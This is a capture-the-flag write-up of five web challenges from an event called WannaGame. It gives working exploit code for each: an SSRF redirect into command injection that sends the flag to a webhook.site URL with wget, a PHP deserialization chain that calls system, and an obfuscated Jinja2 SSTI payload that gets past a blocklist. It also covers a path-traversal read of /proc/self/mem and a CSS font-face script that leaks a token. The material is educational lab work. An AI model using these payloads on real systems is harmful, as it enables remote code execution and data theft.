# Write ups WannaGame
:::success
Only web challenges
:::
# Dox List:
## Source code :
:::info
CVE-2024-42352:
https://nvd.nist.gov/vuln/detail/CVE-2024-42352
:::
Server :
```python=
@app.route('/health_check')
def health_check():
cmd = request.args.get('cmd') or 'ping'
health_check = f'echo \'db.runCommand("{cmd}").ok\' | mongosh mongodb:27017/app --quiet'
try:
result = subprocess.run(health_check, shell=True, capture_output=True, text=True, timeout=2)
app.logger.info(result)
return 'Database is responding' if '1' in result.stdout else 'Database is not responding'
except subprocess.TimeoutExpired:
return 'Database is not responding'
@app.route('/api/dogs')
def get_dogs():
app.logger.info(f"Requests Header : {request.headers}")
dogs = []
for dog in app_db['doxlist'].find():
dogs.append({
"name": dog['name'],
"image": dog['image']
})
return jsonify(dogs)
```
We have two routes, one for get data from db and one to call a command with subprocess.run.
Because it is running with : shell = True so we can use something like : `cat /flag*` to receive the flag and call to our web hooks.
Client :
```javascript=
<script setup>
import { ref, onMounted } from 'vue';
const delay = ms => new Promise(resolve => setTimeout(resolve, ms))
const cards = ref(new Array(8))
const { data, error } = await useAsyncData('fetchDox', async () => {
try {
const response = await $fetch('http://backend:5000/api/dogs')
console.log(response)
return response
} catch (err) {
console.error('Error fetching data:', err)
return cards;
}
})
onMounted(async () => {
console.log(data)
if (data) cards.value = data.value;
console.log(cards)
});
```
Well it looks like server just call to the the "/api/dogs"... Im trying to figure out some way to ssrf this app and its too hard. So we have a hint from authors 
So now , we just need to find a CVE which we can just check version of packages in our app.
```json=
"dependencies": {
"@nuxt/icon": "1.4.4",
"@nuxtjs/proxy": "^2.1.0",
"nuxt": "^3.13.0",
"vue": "latest",
"vue-router": "latest"
},
```
Ye , there is only one unupdated is @nuxt/icon. Search on google and we will find this.

And we try to test this on our app.

Now we can call to the route right ??? Nope, its seem impossible

Look at the implementation of url parse we can know the reason why.
- Our url will be catched with the basename "/" and then i tried some bypass with "\" and "%5C" but it is impossilbe so we need to find another way. Take a breathe, and we can control the place our server will redirect to right ?
- So the idea is really simple !!! Make it redirect to our own app !!! And we can just redirect it back to its route ("/health_check")
# Implement own server
```python=
from flask import Flask,request,redirect
import requests
app = Flask(__name__)
@app.route('/')
def home():
return redirect("http://backend:5000/health_check?cmd=%22%29%27%3Bwget%20https%3A%2F%2Fwebhook.site%2F8e85705e-3468-4e1f-90b5-745c2a70b808%3Fq%3D%24%28cat%20%2Fflag%2A%29%20%3Becho%20%271%27%3B%23%20")
if __name__ == '__main__':
app.run(debug=True) # This runs the app locally
```
Host this app up and we will receive the flag at our webhook !!


Im sorry for not showing the real flag because I dont know why i cannot access it anymore :<.
# My Restaurant
:::info
Insecure Deserialization
:::
## Overview
```php=
class Spaghetti
{
public $sauce;
public $noodles;
public $portion;
public function __get($tomato)
{
($this->sauce)();
}
}
```
```php=
class Pizza
{
public $price;
public $cheese;
public $size;
public function __destruct()
{
echo $this->size->what;
}
}
```
```php=
<?php
class IceCream
{
public $flavors;
public $topping;
public function __invoke()
{
foreach ($this->flavors as $flavor) {
echo $flavor;
}
}
}
```
This challenge gives us 3 class and this is 100% a PHP deserialization challenge !! So we need to find some ways to chain these vulnerabilities.
I rearranged for easier explanation.
- First class is Spaghetti use method `__get($tomato)` is a method get called when we get access into a undefined attribute of that class. And it will run the function at `sauce`
- Second class is Pizza use method `__destruct` is a method get called when this class is destructed. Then it will call to the `$size->what`.
- Final class IceCream use method `__invoke` is a method get called when get called like `$ice();`. It will loops and print the flavors array.
## What we can chain here ?
- Look at the Pizza, it will access to an undefined variables `what` right? So if we set our `$size` is a object of `Spaghetti` which has `__get($tomato)` get called when access to undefined attribute ? We can chain these together then we can run the `$sauce` of Spaghetti.
- What the `$sauce` should be ? It is clear is the `IceCream` !!! And it will run the `__invoke` and print its flavors !!!
## What flavors we want ?
- So now we can make some chain, to finally run the `__invoke` to print out all flavors.
- Well a `$flavors` in IceCream is just an array and in the source code we have something interesting :
```php=
<?php
namespace Helpers{
use \ArrayIterator;
class ArrayHelpers extends ArrayIterator
{
public $callback;
public function current()
{
$value = parent::current();
echo $value;
$debug = call_user_func($this->callback, $value);
return $value;
}
}
}
```
This creates a Helpers Array which add a function when get looped with forEach. It will loop through the `values` in array and call a callback with argument is that value !!!! Which is so suitable to create our `$flavours` right ? Because the `$flavours` get looped too !!.
```php=
foreach ($this->flavors as $flavor) {
echo $flavor;
}
```
# Full steps :
```php=
$pizza = new Pizza();
$spa = new Spaghetti();
$ice = new IceCream();
//Set the values is a malicous code
$arrayHel = new ArrayHelpers(["cat /*.txt"]);
// Set callback to system function to exec code
$arrayHel->callback="system";
// Chain methods
$ice->flavors = $arrayHel;
$spa->sauce = $ice;
$pizza->size = $spa;
echo serialize($pizza);
echo base64_encode(serialize($pizza));
```
Test it on burp suite we get :

- Hmmm it seems not get the ArrayHelpers instance because this class comes from another file. Just fix a little bit with :

Run again and get the flag !!!!

# SSTI FOR KIDS :
```python=
def check_payload(payload):
forbidden_chars = ["[", "]", "_", ".", "x", "dict", "config", "mro", "popen", "debug", "cycler", "os", "globals", "flag", "cat"]
# [] ,
payload = payload.lower()
for char in forbidden_chars:
if char in payload:
print(f"CAUGHT {char}")
return True
return False
```
This challenge need us to bypass SSTI checker.
After reading this [blog](https://www.onsecurity.io/blog/server-side-template-injection-with-jinja2/)
- I found a powerful payload :
```python=
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
```
But it stills get caught with `x` letter so just convert all of them into octal form :>>
```python=
{{request|attr('application')|attr('\137\137globals\137\137')|attr('\137\137getitem\137\137')('\137\137builtins\137\137')|attr('\137\137getitem\137\137')('\137\137import\137\137')('os')|attr('popen')('id')|attr('read')()}}
```
Then change some blackwords too:
Final :
```python=
{{request|attr('\141pplic\141ti\157n')|attr('\137\137glob\141ls\137\137')|attr('\137\137getitem\137\137')('\137\137builtins\137\137')|attr('\137\137getitem\137\137')('\137\137imp\157rt\137\137')('\157s')|attr('p\157pen')('c\141t fl\141g*')|attr('re\141d')()}}
```
Ten ten ten: 
# Nemo
:::info
Logic and read memories
:::
# Source Back End:
```python=
class FileMetadata:
def __init__(
self,
author,
filename,
description,
id = None,
):
if len(author) > 50 or \
len(filename) > 50 or \
len(description) > 150:
raise StringTooLongException()
self.creation_time = datetime.now(tz=timezone.utc)
self.author = author
self.filename = filename
self.init = id in forbidden_ids
basedir = "/company" if self.init else "/tmp"
self.path = f"{basedir}/{filename}"
self.description = description
self.id = str(UUID(id, version=4)) if id is not None else str(uuid4())
def write(self, collection, content):
raise ValueError("Use of forbidden id")
collection.insert_one(vars(self))
if "./" in self.path:
raise PathTraversalAttemptDetectedException()
if len(content) > 200:
raise FileTooBigException()
with open(self.path, "w") as f:
f.write(content)
def read(self, offset, length):
with open(self.path, "rb") as f:
f.seek(offset)
return f.read(length)
```
First it wil create a FileMeta with 2 main functions:
- Write and Read
There are also some rules need to follow.
First it will check the id given and check if it is forbiddened or not. After that choose a basedir to store that file ('/tmp' or '/company'). Finally initialize a uuid if no id given and check the format of id given.
- Pay attention that read function using `offset and length` to read a file which looks too weird.
- Well it looks too much information here. But left it and read at the server code .
# Source Handle :
```python=
def initialize_db():
for f in files:
m = f["metadata"]
fm = FileMetadata(
m["author"],
m["filename"],
m["description"],
id = m["id"],
)
if not metadata.find_one({"id": m["id"]}):
fm.write(metadata, f["content"])
print(files[-1]["metadata"]["filename"])
if (os.path.exists("init/init_data.py")):
os.remove("init/init_data.py")
```
First it will generate files with data from a pathname `init/init_data.py` and then delete those file.
And the flag is one of those get deleted.
```python=
{
"metadata": {
"author": "Shimmering Pearl",
"filename": "ocean_whispers.txt",
"description": "The eternal song of the waves.",
"id": "3dad5070-950c-48c5-bbb2-51312d4a8eab",
},
"content": FLAG,
},
```
Then we have 2 routes handle for read file:
```python=
@app.get("/files")
def get_files():
return [f["metadata"] for f in files]
@app.get("/files/<id>")
def get_file(id):
if id == "3dad5070-950c-48c5-bbb2-51312d4a8eab":
return "", 403
res = metadata.find_one({
"id": {"$eq": id}
})
if res is None:
return "", 404
m = FileMetadata(
res["author"],
res["filename"],
res["description"],
id=res["id"],
)
if files[-1]["metadata"]["filename"] in res["filename"]:
return "", 403
######## read offset voi length chi v?????????????##############
return m.read(int(request.args.get("offset", 0)), int(request.args.get("length", -1)))
```
- We can read any files with the id but not the id of the `flag` as well as the file has the same name of the flag file.
Then is the route to handle uploading files :
```python=
def parse_file(body, id=None):
import re, string
##### VI SAO PHAI CHECK PRINTABLE #######
CONTENT_CHECK = re.compile(f"[^ {string.printable}]")
if CONTENT_CHECK.search(body["content"]):
raise ()
if len(body["content"]) > 200:
raise ValueError()
return {
"metadata": FileMetadata(
body["author"],
body["filename"],
body["description"],
id,
),
"content": body["content"]
}
@app.post("/files")
def post_file():
body = request.json
try:
parsed_body = parse_file(body)
except (KeyError, ValueError):
return "", 422
m = parsed_body["metadata"]
content = parsed_body["content"]
m.write(metadata, content)
r = make_response("", 201)
# KO CHECK PATH TRAVERSAL
r.headers["Location"] = f"/api/v1/files/{m.id}"
return r
@app.put("/files/<id>")
def put_file(id):
if id in forbidden_ids:
return "", 403
body = request.json
try:
parsed_body = parse_file(body, id)
except (KeyError, ValueError):
return "", 422
m = parsed_body["metadata"]
content = parsed_body["content"]
m.write(metadata, content)
r = make_response("", 201)
# KO CHECK PATH TRAVERSAL
r.headers["Location"] = f"/api/v1/files/{m.id}"
return r
```
- First is the function parse_file which will receive the body data and id to use that and create a FileMeta Data.
- `Post` and `Put` file function is just different that the Put you can handle id passed into parse_file which the `Post` doesn't.
- But it seems the `PUT` get checked the forbidden_ids too much. Specially 3 times :vv.
# My silly ideas:
The first time, i have though about how can i abuse the `id` which seems a dead end but I want to talk about it a little bit. :v
My idea is simple that I want to create a file with the same `id` of flag file although I dont have idea why does it :v and as it takes me long time with no results.
- But i found something weird at the :
```python=
self.id = str(UUID(id, version=4)) if id is not None else str(uuid4())
```
And when test it , i found this :

HEy , HEY it get changed at letter `A` into `4`
- After researching , I found that at that byte position used to specify the version in variant RFC 4122 UUID. So the implementation try to convert that bytes into the version number .

- Maybe this can be used to bypass in some challenges :DDD
# Continue :
SO it seems `id` is not our playground anymore :v. What can happen here ?
- After reading too long.. I feel like there is a flaw in the logic code
```python=
def write(self, collection, content):
if self.id in forbidden_ids and not self.init:
raise ValueError("Use of forbidden id")
collection.insert_one(vars(self))
## INSERT VAO LUON ROI =))))))
if "./" in self.path:
raise PathTraversalAttemptDetectedException()
if len(content) > 200:
raise FileTooBigException()
with open(self.path, "w") as f:
f.write(content)
```
- It just check the id and then `insert` straight into the model =)))) So we dont actually care about the `filename` get checked by path traversal.
- As well as the read just need a `filename` and nothing mores :vvv.
```python=
def read(self, offset, length):
# Write duoc 1 filename co filename la path traversal -> lay id -> bo vao ham get -> READ EVERYTHING
with open(self.path, "rb") as f:
f.seek(offset)
return f.read(length)
```
... As well as the routes handling.
# New ideas:
So what if I create a malicous filename to every file I want and then read that id ? I will receive the data from that file:DD.
- Now let's try read `/etc/passwd` with these steps .

It will be error because of geting caught by `path traversal` but I dont care :>
- Then read with our id !!

# Read what to get the flag ?
- Well it seems the file is deleted by the python and not anymore. But it actually still lives in `memory`. And in linux to debug the memories we need to read at `/proc/self/mem`.
- Because it is a virtual file , it means it is created at the time we read it so to read it we need an `offset` and `length`, now we know the reason of them in read function ~~
## How to find an offset
- Ye, we have a friends called `/proc/self/maps` which will list all memory regions. Let's get them now !
- We will get a bunch of offset.

*It will easier to read :v
Then do the same steps to read into file `/proc/self/mem` with offset and length
## FINALLY :::

- You will find it <333
# Art-Gallery
## Overview
- Main goals :
We need to stole 2 types of token : SECURITY_TOKEN and SECRET_TOKEN. Use this to get access as admin and get the Flag stored at `/admin`
# SECRET_TOKEN :
This is really clear how to stole this.
```python=
app.get('/api/update', auth, debug, csp, (req, res) => {
if (req.user.role === 'admin' && (req.ip === '::1' || req.ip === "127.0.0.1" || req.ip === "::ffff:127.0.0.1")) {
var username = req.query.username;
// Grant developer role
console.log(username, " is now a developer");
users.get(username).role = 'developer';
} else {
return res.status(403).send('Forbidden');
}
});
// Developer Zone
app.get('/api/dev', auth, csp, debug, (req, res) => {
if (req.user.role === 'developer' || req.user.role === 'admin') {
return res.send('JWT_SECRET: ' + JWT_SECRET);
} else {
return res.status(403).send('Forbidden');
}
});
```
- Well a users can get the `SECRET_TOKEN` with developer role is powered by the admin. But it actually just use the `GET` and we can abuse the function report to achive this goal.
```python=
app.post('/report', auth, apiLimiter, async (req, res) => {
var url = req.body.url;
if (!url) {
return res.status(404).json({
message: 'Not found'
});
}
if (!url.startsWith('http://localhost:1337/view/')) {
return res.json({
success: false,
message: 'Nice try kiddo!'
});
}
console.log("visiting url: ", url);
try {
visit(url);
} catch (error) {
console.log(error);
}
return res.json({
success: true,
message: 'Report sent successfully'
});
});
```
Here is poc :
1. Turn on debug with route `/api/debug?debug_mode=1`

2. Update role user with route `/api/update?username=123`

3. And stole it with with `/api/dev`(you will need to login again)

- Now we stole the the SECRET_KEY !!!
# How to steal the SECURITY_TOKEN :
- Maybe you will think about the report function and lead the page to a XSS page and get the cookies. But it is not the case in this challenge because the cookies are protected. So how we leak the `SECURITY_TOKEN`.
- Read the source code you will see some malicous .
```javascript=
app.use((req, res, next) => {
// Should be safe right?
if (!req.theme) {
const theme = req.query.theme;
if (theme && !theme.includes("<") && !theme.includes(">")) {
req.theme = theme;
}else{
req.theme = 'white';
}
}
next();
})
```
- It creates a middleware to pass our query `theme` and put it into a style tag
```html=
<style nonce="{{ nonce }}">
body {
background: {{theme | safe}};
}
</style>
<h1 class="title
```
- The `safe` makes it injectable. Let me show you an example.
- 
So we have a CSS injection ? And you can pay attention that the `SECURITY_TOKEN` is actually showed in the user interface? Well when learning XSS i found this good blog:https://aszx87410.github.io/beyond-xss/en/ch2/trust-types/ and I can even leak the `SECURITY_TOKEN` now !!!
# Idea
- The leaks is working because of abusing the `@font` with loading an URL when matching a range of UNICODE which can just be a letter too ~~ !!

- I have created a script to automate this.
```python=
import time
import requests
import random
import string
from urllib.parse import quote
s = requests.Session()
def generate_random_string(length):
# Choose from uppercase, lowercase, and digits
characters = string.ascii_letters + string.digits
random_string = ''.join(random.choices(characters, k=length))
return random_string
baseUrl = r"http://localhost:1337"
data = {
"username":generate_random_string(4),
"password":"123"
}
res = s.post(baseUrl+"/register",json=data)
print(res.text)
res = s.post(baseUrl+"/login",json=data)
print(res.text)
token = res.cookies.get('token')
def char_to_unicode(char):
code_point = ord(char)
return f"{code_point:02X}"
chars ="abcdefghijklmnopqrstuvwxyz0123456789"
print(chars)
webhook = "https://webhook.site/b7dd4def-ee30-4273-abbd-e7c070ed3d15"
def loadFont(i):
font = r""
result = [f"f{char}" for char in chars]
result_string = r', '.join(result)
for char in chars:
font+= r''' @font-face%20{%20font-family:%20"f'''+char+r'''";%20src:%20url(https://webhook.site/b7dd4def-ee30-4273-abbd-e7c070ed3d15/?q='''+char+str(i)+r''');%20unicode-range:%20U%2b'''+char_to_unicode(char)+''';%20}'''
font+=r'''.SECURITY_TOKEN%20:nth-child('''+str(i)+r'''){color:red;font-family:'''+result_string+r''',Arial'''
return font
loadFont(1)
def leak(i):
data={"url":baseUrl+r'''/view/../profile?theme=white;:}'''+loadFont(i)}
res=s.post(baseUrl+'/report',json=data,cookies={"token":token})
print(res.text)
for i in range(2,22):
leak(i)
```
FOUND local : ditmbzpvkkm7ow85qjz
FOUND server: b3zjagxhqzwarjzfjkj
- Then just use JWT token and login as admin :DDD. Game end. <3 <3 <3
# Conclusion.
- I want to say thank you to all the authors who spends time creating such a great challenge. I learned a lots from these and its good chance to try my self to the best !!!